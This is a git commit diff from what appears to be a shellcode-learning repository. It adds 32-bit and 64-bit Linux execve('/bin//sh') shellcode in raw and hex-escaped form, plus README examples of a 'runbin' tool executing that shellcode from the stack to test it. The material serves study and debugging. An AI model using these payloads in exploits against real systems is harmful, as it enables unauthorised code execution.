runbin: Used binary files as default and used -e / --escape for text files containing escape strings.

Author: NoviceLive

32.bin

@@ -0,0 +1 @@
+1���Qh//shh/bin��̀

32.txt

@@ -0,0 +1 @@
+\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

64.bin

@@ -0,0 +1 @@
+1�H�/bin//shVST_j;X1�

64.txt

@@ -0,0 +1 @@
+\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

README.md

@@ -6,10 +6,45 @@
 
 ### [runbin.c](./utils/runbin.c)
 
-Executing C-style hex-escaped string data on the stack.
+Executing data on the stack, which is used to test and debug shellcode.
 
 Prebuilt binaries exist both for Windows and Linux.
 
+#### Usage
+
+```
+./bin/runbin -h
+Usage: runbin [-e] <filename>
+
+    -h, --help    show this help message and exit
+    -e, --escape  Use escape mode.
+```
+
+#### Examples
+
+```
+$ hexdump 64.bin
+0000000 f631 bb48 622f 6e69 2f2f 6873 5356 5f54
+0000010 3b6a 3158 0fd2 0005
+0000017
+$ runbin 64.bin
+[-] Printing memory: 0x7ffda9515640 23
+31 f6 48 bb 2f 62 69 6e 2f 2f 73 68 56 53 54 5f
+6a 3b 58 31 d2 0f 05
+[-] Executing address: 0x7ffda9515640
+[toor@bogon shellcoding.git]$ exit
+exit
+$ less -FX 64.txt                                                                               :(
+\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
+$ runbin -e 64.txt
+[-] Printing memory: 0x7ffde32e3590 23
+31 f6 48 bb 2f 62 69 6e 2f 2f 73 68 56 53 54 5f
+6a 3b 58 31 d2 0f 05
+[-] Executing address: 0x7ffde32e3590
+[toor@bogon shellcoding.git]$ exit
+exit
+```
+
 
 ## Scripts